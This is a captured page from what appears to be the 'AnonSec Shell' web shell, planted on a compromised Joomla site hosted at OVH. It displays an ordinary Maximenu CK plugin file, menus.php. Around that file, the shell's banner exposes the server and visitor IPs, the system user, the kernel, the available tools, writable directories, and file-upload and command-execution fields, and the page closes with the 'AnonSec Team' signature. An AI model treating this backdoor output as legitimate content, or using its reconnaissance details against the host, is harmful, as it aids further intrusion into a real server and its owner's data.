AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.84
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/new-saint-martin/plugins/maximenuck/menus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/new-saint-martin/plugins/maximenuck/menus//menus.php
<?php
/**
 * @copyright	Copyright (C) 2018 Cédric KEIFLIN alias ced1870
 * https://www.template-creator.com
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
 
defined('_JEXEC') or die('Restricted access');
jimport('joomla.event.plugin');

class plgMaximenuckMenus extends \Joomla\CMS\Plugin\CMSPlugin {

	private $type = 'menus';

	private $shallLoad = true;

	function __construct(&$subject, $params) {
		parent::__construct($subject, $params);
	}

	/* 
	 * Initiate the lugin load
	 *
	 * Return mixed
	 */
	function registerListeners() {
		if ($this->shallLoad === true) {
			parent::registerListeners();
		} else {
			return false;
		}
	}

	/* 
	 * Send the infos in the source list to add the type in the plugin options
	 *
	 * Return string the source type
	 */
	// public function onMaximenuckGetSourceName() {
		// $this->loadLanguage();
		// return $this->type;
	// }

	/* 
	 * Send the infos in the source list to add the type in the plugin options
	 *
	 * Return string the source type
	 */
	public function onMaximenuckGetTypeName() {
		$this->loadLanguage();
		return $this->type;
	}

	/* 
	 * Get the JS code to add some features in the edition popup
	 *
	 * Return string the js code
	 */
	public function onMaximenuckGetJsByTypeMenus() {
		// Initialize some field attributes.
		$js = 'function ckSelectMenu(id, name, close) {
			if (!close && close != false) close = true;
			jQuery("#params_menutype").val(id);
			jQuery("#params_menutypename").val(name);
			if (close) CKBox.close(\'#ckboxckmenusourceselect\');
		}
		function ckEditMenu() {
			var menutype = jQuery(\'#params_menutype\').val();
			if (! menutype) {
				alert("' . \Joomla\CMS\Language\Text::_('MAXIMENUCK_PLEASE_SELECT_MENU') .'");
				return;
			}
			CKBox.open({url: \'index.php?option=com_maximenuck&view=joomlamenu&tmpl=component&layout=modal&menutype=\'+menutype+\'\'})
		}';
		
		return $js;
	}
}

Anon7 - 2022
AnonSec Team